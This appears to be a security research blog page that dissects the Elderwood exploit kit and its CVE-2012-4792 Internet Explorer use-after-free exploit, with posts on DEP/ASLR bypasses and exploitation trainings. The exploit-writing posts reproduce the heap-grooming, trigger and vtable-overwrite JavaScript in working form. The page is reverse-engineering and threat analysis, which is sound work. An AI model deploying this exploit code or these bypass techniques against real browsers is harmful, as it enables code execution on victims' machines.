Introducing Javelin

Javelin

Javelin shows you how modern attackers would approach and exploit your enterprise. By simulating real-time, real-world attack techniques, Javelin identifies which employees are most likely to be targets of spearphishing campaigns, uncovers security infrastructure weaknesses, and compares overall vulnerability against industry competitors. Javelin benchmarks the efficacy of defensive strategies, and provides customized recommendations for improving security and accelerating threat detection. Highly automated, low touch, and designed for easy adoption, Javelin will harden your existing security and information technology infrastructure.

Read more about Javelin on the Javelin Blog.

Writing Exploits with the Elderwood Kit (Part 2)

In the third part of our five-part series, we investigate the how the toolkit user gained control of program flow and what their strategy means for the reliability of their exploit.

Last time, we talked about how the Elderwood kit does almost everything for the kit user except give them a vulnerability to use. We think it is up to the user to discover a vulnerability, trigger and exploit it, then integrate it with the kit. Our analysis indicates that their knowledge of how to do this is poor and the reliability of the exploit suffered as a result. In the sections that follow, we walk through each section of the exploit that the user had to write on their own.

The Document Object Model (DOM)

The HTML Document Object Model (DOM) is a representation of an HTML page, used for accessing and modifying properties. Browsers provide an interface to the DOM via JavaScript. This interface allows websites to have interactive and dynamically generated content. This interface is very complicated and is subject to many security flaws such as the use-after-free vulnerability used by the attackers in the CFR compromise. For example, the Elderwood group has been responsible for discovering and exploiting at least three prior vulnerabilities of this type in Internet Explorer.

Use-after-Free Vulnerabilities

Use-after-free vulnerabilities occur when a program frees a block and then attempts to use it at some later point in program execution. If, before the block is reused, an attacker is able to allocate new data in its place then they can gain control of program flow.

Exploiting a Use-after-Free

  1. Program allocates and then later frees block A
  2. Attacker allocates block B, reusing the memory previously allocated to block A
  3. Attacker writes data into block B
  4. Program uses freed block A, accessing the data the attacker left there

In order to take advantage of CVE-2012-4792, the exploit allocated and freed a CButton object. While a weak reference to the freed object was maintained elsewhere in Internet Explorer, the exploit overwrote the CButton object with their own data. The exploit then triggered a virtual function call on the CButton object, using the weak reference, resulting in control of program execution.

Prepare the Heap

After 16 allocations of the same size occur, Internet Explorer will switch to using the Low Fragmentation Heap (LFH) for further heap allocations. Since these allocations exist on a different heap, they are not usable for exploitation and have to be ignored. To safely skip over the first 16 allocations, the exploit author creates 3000 string allocations of a similar size to the CButton object by assigning the className property on a div tag.

var arrObject = new Array(3000);
var elmObject = new Array(500);
for (var i = 0; i < arrObject.length; i++) {
	arrObject[i] = document.createElement('div');
	arrObject[i].className = unescape("ababababababababababababababababababababa");
}

The contents of the chosen string, repeated “ab”s,  is not important. What is important is the size of the allocation created by it. The LFH has an 8 byte granularity for allocations less than 256 bytes so allocations between 80 and 88 bytes will be allocated from the same area. Here is an example memory dump of what the string in memory would look like:

00227af8  61 00 62 00 61 00 62 00-61 00 62 00 61 00 62 00  a.b.a.b.a.b.a.b.
00227b08  61 00 62 00 61 00 62 00-61 00 62 00 61 00 62 00  a.b.a.b.a.b.a.b.
00227b18  61 00 62 00 61 00 62 00-61 00 62 00 61 00 62 00  a.b.a.b.a.b.a.b.
00227b28  61 00 62 00 61 00 62 00-61 00 62 00 61 00 62 00  a.b.a.b.a.b.a.b.
00227b38  61 00 62 00 61 00 62 00-61 00 62 00 61 00 62 00  a.b.a.b.a.b.a.b.
00227b48  61 00 00 00 00 00 00 00-0a 7e a8 ea 00 01 08 ff  a........~......

Then, the exploit author assigns the className of every other div tag to null, thereby freeing the previously created strings when CollectGarbage() is called. This will create holes in the allocated heap memory and creates a predictable pattern of allocations.

for (var i = 0; i < arrObject.length; i += 2) {
	arrObject[i].className = null;
}
CollectGarbage();

Next, the author creates 500 button elements. As before, they free every other one to create holes and call CollectGarbage() to enable reuse of the allocations.

for (var i = 0; i < elmObject.length; i++) {
	elmObject[i] = document.createElement('button');
}
for (var i = 1; i < arrObject.length; i += 2) {
	arrObject[i].className = null;
}
CollectGarbage();

In one of many examples of reused code in the exploit, the JavaScript array used for heap manipulation is called arrObject. This happens to be the variable name given to an example of how to create arrays found on page 70 of the JavaScript Cookbook.

Trigger the Vulnerability

The code below is responsible for creating the use-after-free condition. The applyElement and appendChild calls create the right conditions and new allocations. The free will occur after setting the outerText property on the q tag and then calling CollectGarbage().

try {
	e0 = document.getElementById("a");
	e1 = document.getElementById("b");
	e2 = document.createElement("q");
	e1.applyElement(e2);
	e1.appendChild(document.createElement('button'));
	e1.applyElement(e0);
	e2.outerText = "";
	e2.appendChild(document.createElement('body'));
} catch (e) {}
CollectGarbage();

At this point, there is now a pointer to memory that has been freed (a stale pointer). In order to continue with the exploit, the memory it points to must be replaced with attacker-controlled data and then the pointer must be used.

Notably, the vulnerability trigger is the only part of the exploit that is wrapped in a try/catch block. In testing, we confirmed that this try/catch is not a necessary condition for triggering the vulnerability or for successful exploitation. If the author were concerned about unhandled exceptions, they could have wrapped all their code in a try/catch instead of only this part. This condition suggests that the vulnerability trigger is separate from any code the developed wrote on their own and may have been automatically generated.

Further, the vulnerability trigger is the one part of the exploit code that a fuzzer can generate on its own. Such a security testing tool might have wrapped many DOM manipulations in try/catch blocks on every page load to maximize the testing possible without relaunching the browser. Given the number of other unnecessary operations left in the code, it is likely that the output of a fuzzer was pasted into the exploit code and the try/catch it used was left intact.

Replace the Object

To replace the freed CButton object with memory under their control, the attacker consumes 20 allocations from the LFH and then targets the 21st allocation for the replacement. The choice to target the 21st allocation was likely made through observation or experimentation, rather than precise knowledge of heap memory. As we will discuss in the following section, this assumption leads to unreliable behavior from the exploit. If the author had a better understanding of heap operations and changed these few lines of code, the exploit could have been much more effective.

for (var i = 0; i < 20; i++) {
	arrObject[i].className = unescape("ababababababababababababababababababababa");
}
window.location = unescape("%u0d0c%u10abhttps://www.google.com/settings/account");

The window.location line has two purposes: it creates a replacement object and triggers the use of the stale pointer. As with most every other heap allocation created for this exploit, the unescape() function is called to create a string. This time it is slightly different. The exploit author uses %u encoding to fully control the first DWORD in the allocation, the vtable of an object.

For the replaced object, the memory will look like this:

19eb1c00  10ab0d0c 00740068 00700074 003a0073  ….h.t.t.p.s.:.
19eb1c10  002f002f 00770077 002e0077 006f0067  /./.w.w.w...g.o.
19eb1c20  0067006f 0065006c 0063002e 006d006f  o.g.l.e...c.o.m.
19eb1c30  0073002f 00740065 00690074 0067006e  /.s.e.t.t.i.n.g.
19eb1c40  002f0073 00630061 006f0063 006e0075  s./.a.c.c.o.u.n.
19eb1c50  00000074 00000061 f0608e93 ff0c0000  t...a.....`.....

When window.location is set, the browser goes to the URL provided in the string. This change of location will free all the allocations created by the current page since they are no longer necessary. This triggers the use of the freed object and this is when the attacker gains control of the browser process. In this case, this causes the browser to load “/[unprintablebytes]https://www.google.com/settings/account” on the current domain. Since this URL does not exist, the iframe loading the exploit on the CFR website will show an error page.

In summary, the exploit overwrites a freed CButton object with data that the attacker controls. In this case, a very fragile technique to overwrite the freed CButton object was used and the exploits fails to reliably gain control of execution on exploited browsers as result. Instead of overwriting a large amount of objects that may have been recently freed, the exploit writers assume that the 21st object they overwrite will always be the correct freed CButton object. This decreases the reliability of the exploit because it assumes a predetermined location of the freed CButton object in the freelist.

Now that the vulnerability can be exploited, it can be integrated with the kit by using the provided address we mentioned in the previous post, 0x10ab0d0c. By transferring control to the SWF loaded at that address, the provided ROP chains and staged payload will be run by the victim.

Reliability

Contrary to popular belief, it is possible for an exploit to fail even on a platform that it “supports.” Exploits for use-after-frees rely on complex manipulation of the heap to perform controlled memory allocations. Assumptions about the state of memory may be broken by total available memory, previously visited websites, the number of CPUs present, or even changes to software running on the host. Therefore, we consider exploit reliability to be a measure of successful payload execution vs total attempts in these various scenarios.

We simulated real-world use of the Elderwood exploit for CVE-2012-4792 to determine its overall reliability. We built a Windows XP test system with versions of Internet Explorer, Flash and Java required by the exploit. Our testing routine started by going to a random website, selected from several popular websites, and then going to our testing website hosting the exploit. We think this is a close approximation of real-world use since the compromised website is not likely to be anyone’s homepage.

Under these ideal conditions, we determined the reliability of the exploit to be 60% in our testing. Although it is unnecessary to create holes to trigger the vulnerability to exploit it successfully, as described in the previous code snippets, we found that reliability drops to about 50% if these operations are not performed. We describe some of the reasons for such a low reliability below:

  • The reliance on the constant memory address provided by the SWF. If memory allocations occur elsewhere and at this address where the exploit assumes they will be, the browser will crash. For example, if a non-ASLR’d plugin is loaded at 0x10ab0d0c, the exploit will never succeed. This can also occur on Windows XP if a large module is loaded at the default load address of 0×10000000.
  • The assumption that the 21st object will be reused by the stale CButton pointer. If the stale CButton pointer reuses any other address, then this assumption will cause the exploit to fail. In this case, the exploit will dereference 0×00410042 from the allocations of the “ab” strings.
  • The use of the garbage collector to trigger the vulnerability. Using the garbage collector is a good way to trigger this vulnerability, however, it can have uncertain side effects. For example, if the heap coalesces, it is likely that the stale pointer will point to a buffer not under the attacker’s control and cause the browser to crash.

Even before testing this exploit, it was clear that it could only target a subset of affected browsers due to its reliance on Flash and other plugins for bypassing DEP and ASLR. We built an ideal test environment with these constraints and found their replacement technique to be a significant source of unreliable behavior. Nearly 50% of website visitors that should have been exploited were not due to the fragility of the replacement technique.

Conclusions

After being provided easy-to-use interfaces to DEP and ASLR bypasses, the user of this kit must only craft an object replacement strategy to create a working exploit. Our evaluation of the object replacement code in this exploit indicates the author’s grasp of this concept was poor and the exploit is unreliable as a result. Reliability of this exploit would have been much higher if the author had a better understanding of heap operations or had followed published methodologies for object replacements. Instead, the author relied upon assumptions about the state of memory and parts of their work appear copied from cookbook example code.

Up until this point, the case could be made that the many examples of copied example code were the result of a false flag. Our analysis indicates that, in the part of the exploit that mattered most, the level of skill displayed by the user remained consistent with the rest of the exploit. If the attacker were feigning incompetence, it is unlikely that this critical section of code would be impaired in more than a superficial way. Instead, this attack campaign lost nearly half of the few website visitors that it could have exploited. Many in the security industry believe that APT groups “weaponize” exploits before using them in the wild. However, continued use of the Elderwood kit for strategic website compromises indicates that neither solid engineering practices nor highly reliable exploit code is required for this attacker group to achieve their goals.

Writing Exploits with the Elderwood Kit (Part 1)

In the second part of our five-part series, we investigate the tools provided by the Elderwood kit for developing exploits from discovered vulnerabilities.

Several mitigations must be avoided or bypassed in order to exploit browser vulnerabilities, even on platforms as old as Windows XP. Elderwood provides tools to overcome these obstacles with little to no knowledge required of their underlying implementation. Historical use of the Elderwood kit for browser exploits has been focused on use-after-free vulnerabilities in Internet Explorer. Exploitation of use-after-free vulnerabilities is well documented and systematic and a quick search reveals several detailed walkthroughs. Exploits of this type have three primary obstacles to overcome:

  • Heap spray technique
  • DEP bypass
  • ASLR bypass

Each component of the kit abstracts a method for overcoming these obstacles in straightforward way. We examine how these components work, their reliability, technical sophistication, and describe how these components are exposed to the kit user. Supported targets and reliability of exploit code are directly tied to the design and implementation decisions of these components.

Heap Spray and DEP Bypass (today.swf)

Data Execution Prevention (DEP) prevents memory from being implicitly executable. Exploits commonly create a payload in memory as data and then try to execute it. When DEP is enabled, the attacker must have their payload explicitly marked executable. In order to bypass this protection, an exploit can take advantage of code that is already in memory and is marked executable. Many exploits chain together calls to functions to mark their payload executable in a practice sometimes referred to as return-oriented programming (ROP). Internet Explorer 8 on Windows XP and later takes advantage of DEP and this mitigation must be bypassed to successfully execute code.

Today.swf performs the DEP bypass for the user. This Flash document sets up many ROP chains in memory so that one will be at a known location (heap spraying). When Internet Explorer is exploited, the ROP chain performs pivots the stack to one of the fake stacks instead of the legitimate one. After the stack pivot, the ROP chain executes a sequence of instructions to make an executable copy of the deobfuscation code that turns xsainfo.jpg into a DLL, and executes it. This can be done from within Flash, a plugin, because it shares the same memory space as the browser rendering process, unlike Chrome and Safari and Firefox.

The SWF is included before the JavaScript exploit code is loaded. When the swf is loaded, the heap spraying code is run automatically. The user does not need to know about the details of the technique that it uses. The end result is that the heap is full of the stack frames and the kit user can assume that proper values will be at a specific address, 0x10ab0d0c. This means that the user only needs to know the single value of where to jump to.

window.location = unescape("%u0d0c%u10abhttps://www.google.com/settings/account");

For readers following along with our analysis, the software used to obfuscate the Flash component of the exploit is conveniently located on the first page of Google results for “SWF Encryption.” DoSWF is the first result that does not require an email address to download the installer and, as an added bonus, is developed by a Chinese company from Beijing.

As seen with many public exploits, it’s possible to perform this same task with only the JavaScript engine within the browser. This would remove the dependency on a third party plugin. Instead, this exploit will only work on browsers that have Flash installed and enabled. Techniques and libraries to perform precise heap manipulation in JavaScript are well-documented and have existed since at least 2007.

ASLR Bypass (Microsoft Office and Java 6)

Address Space Layout Randomization (ASLR) is an exploit mitigation present on Windows Vista and newer that randomizes the location of code in memory. ASLR frustrates an attacker’s ability to control program flow by making the location of code used for ROP gadgets unknown for reuse. The easiest possible method to bypass ASLR is to avoid it entirely by locating a module that is not compiled with the Dynamic Base flag, indicating a lack of support for this feature. This makes exploitation significantly easier and eliminates the advantage conferred by this mitigation entirely. Once such a module is loaded at fixed virtual address, the attacker can repurpose known instruction sequences within it as if ASLR did not exist.

In order to bypass ASLR, the kit comes with code to load several modules that are not compiled with the Dynamic Base flag. In this case, modules from Microsoft Office 2007/2010 and the Java 6 plugin without support for ASLR have been added. Memory addresses from within these modules are used to construct the ROP chains embedded in the Flash document.

It is trivial to take advantage of this feature to bypass ASLR. In all likelihood, a script is provided by the kit to call the various plugin loading routines necessary to load the correct modules. No further work is required. The kit authors use existing research and techniques off the shelf in order to develop these scripts: sample code from Oracle is used to load Java for their ASLR bypass. This example code shows up in Google using the search “force java 6” which is notable since the author needed to specifically load this version rather than the latest, which takes advantage of ASLR.

<script type="text/javascript" src="deployJava.js"></script>
try {
	location.href = 'ms-help://'
} catch (e) {}

try {
	var ma = new ActiveXObject("SharePoint.OpenDocuments.4");
} catch(e) {}

After attempting to load these plugins, config.html sets a value based on which ones were successful. It sets the innerHTML of the “test” div tag to either true, false, default or cat. Today.swf reads this value to determine which of its built-in ROP chains to load. This means that today.swf directly depends on the results of config.html and the plugins it loads, suggesting they were likely developed together and provided for the kit user.

As with the heap spray and DEP bypass, these techniques rely on third-party components to function. Unless one of these plugins is installed and enabled, the exploit will fail on Windows 7. The kit relies on Java to be outdated because its current versions do take advantage of ASLR. This issue was addressed with a Java 6 update in July 2011 and Java 7 was never affected. In the case of Microsoft Office, this weakness was described in a public walkthrough several months before the attack, however, it remained unpatched until after the attack.

We attempted to measure the number of browsers running these plugins in order to measure the effectiveness of these ASLR bypasses and, therefore, the entire exploit. What we found is that popular websites that track browser statistics neglect to track usage of Microsoft Office plugins, instead opting to list more common plugins like Silverlight, Google Gears and Shockwave. In the case of Java 6, if this were the best case scenario and no minor versions of Java had been patched yet, only roughly 30% of website visitors could be successfully exploited.

Conclusions

The Elderwood kit ships with reusable components for developing exploits for use-after-free vulnerabilities. It provides a capability to spray the heap with Adobe Flash, a set of techniques to load modules without support for ASLR, and several ROP chains for various versions of Windows to bypass DEP. The user of these tools needs little to no understanding of the tasks which they accomplish. For example, instead of requiring the user to understand anything about memory layouts and heap allocations, they can simply use a constant address provided by the kit. In fact, readers who made it this far may have deeper understanding of these components than the people who need to use them.

Many exploit development needs are accounted for by using these tools, however, some tasks are specific to the discovered vulnerability. In order to use the ROP gadgets that have been placed in memory by the SWF, the toolkit user must have control of program flow. This is specific to the exploitation of each vulnerability and the toolkit cannot help the user perform this task. We discuss the specific solutions to this problem by the toolkit user in the next section.

If you’re interested in learning more about how modern attacks are developed and performed, consider coming to SummerCon early next month and taking one of our trainings. Subscribe to our newsletter to stay up-to-date on our trainings, products and blog posts.

Elderwood and the Department of Labor Hack

Recently, the Department of Labor (DoL) and several other websites were compromised to host a new zero-day exploit in Internet Explorer 8 (CVE-2013-1347). Researchers noted similarities between this attack and earlier ones attributed to Elderwood, a distinct set of tools used to develop several past strategic website compromises. We have not, however, identified any evidence for this conclusion. Several fundamental differences exist that make it unlikely that this latest exploit was produced by the Elderwood kit.

  • The Elderwood kit provides several reusable techniques for spraying the heap with Adobe Flash and bypassing DEP with other plugins. However, the DoL exploit avoids the need to use plugins by copying the code for a new exploit technique from Exodus Intelligence. This significantly improved the reliability of the exploit and the number of visitors it affected.
  • Elderwood campaigns have hosted their files directly on the compromised website. However, the DoL website was injected with code redirecting the visitor to an attacker-controlled host, which then attempted to load the exploit. This makes it more difficult for researchers to investigate this incident.
  • Elderwood campaigns use primitive host fingerprinting techniques taken from sample code on the internet to determine the exploitability of visitors. However, the DoL fingerprint code has been developed by the attackers to collect significantly more data and is not used for determining exploitability. This fingerprint information is uploaded to the attacker-controlled host for future use.

In addition, we have identified sample code discoverable on the internet as the source of several JavaScript functions that appear in both exploits. For example, the cookie tracking code was copied nearly verbatim from “Using cookies to display number of times a user has visited your page” which includes code originally from the JavaScript Application Cookbook.

The Elderwood Exploit Kit

Elderwood is a distinct set of reusable tools that has been developed by or for the Aurora APT group (sometimes known as or related to Nitro, VOHO, Violin Panda, or Mandiant Group 8). Our firm has tracked the use of the Elderwood kit due to the unique nature of the strategic website compromises and zero-day exploits it has been used to develop. We will discuss our analysis of this proprietary exploit kit in a series of blog posts this week.

In the blog posts that follow, we use the latest zero-day strategic website compromise attributed to the Elderwood kit as a case study. We use evidence from this attack to determine the sophistication of the tools provided by the kit and determine the capabilities required to operate it. By doing so, we hope to have a more honest discussion about the reality of this threat and the effectiveness of current defenses against it. At the end of our case study, we predict future use and developments of this kit and present recommendations to stay ahead of such attacks in the future.

Case Study Overview

In early December 2012, several websites were compromised and subtly repurposed to host a 0-day exploit for a use-after-free vulnerability in Internet Explorer 6, 7, and 8. The changes to these websites were not detected until several weeks later. The timeline of the attack was as follows:

Security vendors have termed this type of attacks, where a public website is compromised in order to exploit its visitors, “watering holes.” We believe a more descriptive definition is provided by ShadowServer, who describes attacks of this nature as “strategic website compromises.” Each compromised website is strategically selected for the character of web traffic that visits it. Instead of the attacker bringing victims to their website, the attacker compromises the websites that intended victims already view.

Components of the Attack

Several discrete components must be engineered and integrated by attackers in order to pull off a strategic website compromise. We describe these components below.

  • Vulnerability: Reproducible trigger of a code execution flaw in software installed on client systems, such as Adobe Reader or Internet Explorer.
  • Exploit: Code that uses the vulnerability to execute a program of the attacker’s choice (a payload) on the victim’s computer.
  • Obfuscation: Techniques applied to the exploit and payload to evade network and host-based detection systems.
  • Fingerprinting: Code to determine whether to serve an exploit to a victim’s computer.
  • Payload: Shellcode and malware that runs on the victim’s computer to further control it.
  • Compromised website: A website not legitimately owned or operated by the attackers, but that the attackers have manipulated into hosting their exploit and payload code.

The attackers placed several files on the CFR website. We enumerate these files and their roles in the compromise process below. Variations on these filenames were used across multiple compromised websites but they generally correspond to the list below.

  • config.html performed fingerprinting of the intended victims and determined whether they were a supported target of the developed exploit code.
  • news.html, robots.txt, and today.swf contained the exploit code for the zero-day vulnerability that had been discovered. robots.txt obfuscated critical sections of the exploit code to mitigate the risk of detection.
  • xsainfo.jpg contained one stage of the malware to be installed on victims that were successfully exploited.

We have posted the original files from this attack for readers to reference (pw: infected). In tomorrow’s post, we investigate the tools provided by the Elderwood kit for developing exploits from discovered vulnerabilities.

If you’re interested in learning more about how modern attacks are developed and performed, consider coming to SummerCon early next month and taking one of our trainings. Subscribe to our newsletter to stay up-to-date on our trainings, products and blog posts.

Pwn2Own Pre-Game

Just in time to get warmed up for Pwn2Own, we are delivering a joint offering of the training courses “Bug Hunting and Analysis 0×65” by Aaron Portnoy and Zef Cekaj as well as “Assured Exploitation” by Dino Dai Zovi and Alex Sotirov in New York City on January 31 – February 3. Students may take either course or both classes for a $1000 discount. Full course information is available in the Pwn2Own PreGame PDF or the full blog post after the jump.

[Read more...]

NYC Assured Exploitation Training

On June 8-9, right before SummerC0n, Alex Sotirov and I will be giving a special New York City edition of our Assured Exploitation training class. This is a great opportunity for anyone who was unable to take our class at CanSecWest this year. The two-day class costs $2500 per student for registrations received before May 25 and $3000 per student for registrations received afterwards.  We accept payment via Purchase Order, major credit cards, and PayPal.  Group discounts are also available (contact us for a price quote).  To register, e-mail me (ddz at theta44 dot org) or fill out the form below.  For full details, see below or download the full course description.

UPDATE: A location has been selected for the training (1 New York Plaza in lower Manhattan).

[Read more...]

Hacking at Mach 2!

At BayThreat last month, I gave an updated (and more much sober) version of my “Hacking at Mach Speed” presentation from SummerC0n.  Now, since the 0day Mach RPC privilege de-escalation vulnerability has been fixed, I can include full details on it.  The presentation is meant to give a walkthrough on how to identify and enumerate Mach RPC interfaces in bootstrap servers on Mac OS X.  Why would you want to do this?  Hint: there are other uses for these types of vulnerabilities besides gaining increased privileges on single-user Mac desktops.  Enjoy!

  • “Hacking at Mach 2!” (PDF)

Memory Corruption, Exploitation, and You

At the NY/NJ OWASP meeting last week, I gave an experimental high-level (i.e. not really technical) talk that I call “Memory Corruption, Exploitation, and You.” The talk is essentially a few rants stapled together, all relating to exploits, but also trying to predict where attackers in the wild will be headed in the next couple of years. One of the points that I tried to make (and will be trying to make in upcoming talks as well) is that the threat environment has changed from what I call “getting hacked by accident” (non-targeted mass malware attacks) to an increased prevalence and awareness of targeted attacks in the wild, often using 0day vulns/exploits and custom malware. Responding to this requires changing several aspects of our mindset about network defense and vulnerability handling.

I gave an earlier version of the talk at BSidesSF (video here) and here are the updated slides that I gave at OWASP.

Mac OS X Return-Oriented Exploitation

In The Mac Hacker’s Handbook and a few Mac-related presentations last year, I described my return-oriented exploitation technique for Mac OS X Leopard (10.5) for x86. This technique involved returning into the setjmp() function within dyld (the Mac OS X dynamic linker, which is loaded at a static location) to write out the values of controlled registers to a chosen location in writable and executable memory. By subsequently returning into that location, a few bytes of chosen x86 instructions could be executed. Performing this sequence twice will allow the attacker to execute enough chosen instructions to copy their traditional machine code payload into executable memory and execute it. In Snow Leopard (10.6), Apple has removed setjmp() from dyld, so I had to go back to the drawing board.

For my talk at REcon this year, Mac OS X Return-Oriented Exploitation, I applied my recent research in return-oriented programming and exploitation to Mac OS X to develop a few techniques against Snow Leopard x86 (32-bit) processes. I also talk about why attackers don’t really have to care about 64-bit x86_64 processes on Snow Leopard just yet. If you missed REcon this year (and why would you ever allow that to happen?!), you can download my slides here: Mac OS X Return-Oriented Exploitation.

Practical Return-Oriented Programming

At a number of conferences this spring, I am presenting “Practical Return-Oriented Programming.” The talk is about taking the academic and applying it in the real world to developing exploits for Windows that bypass Permanent DEP using my BISC (Borrowed Instructions Synthetic Computer) library.  In the talk, I demonstrate exploitation of the Internet Explorer “Operation Aurora” vulnerability on Windows 7.  These techniques are not at all new, only my implementation is, and it owes much to previous research by Sebastian Krahmer’s “Borrowed Code Chunks” technique , Hovav Shacham’s Return-Oriented Programming, and Pablo Sole’s DEPLIB.

Follow

Get every new post delivered to your Inbox.

Join 43 other followers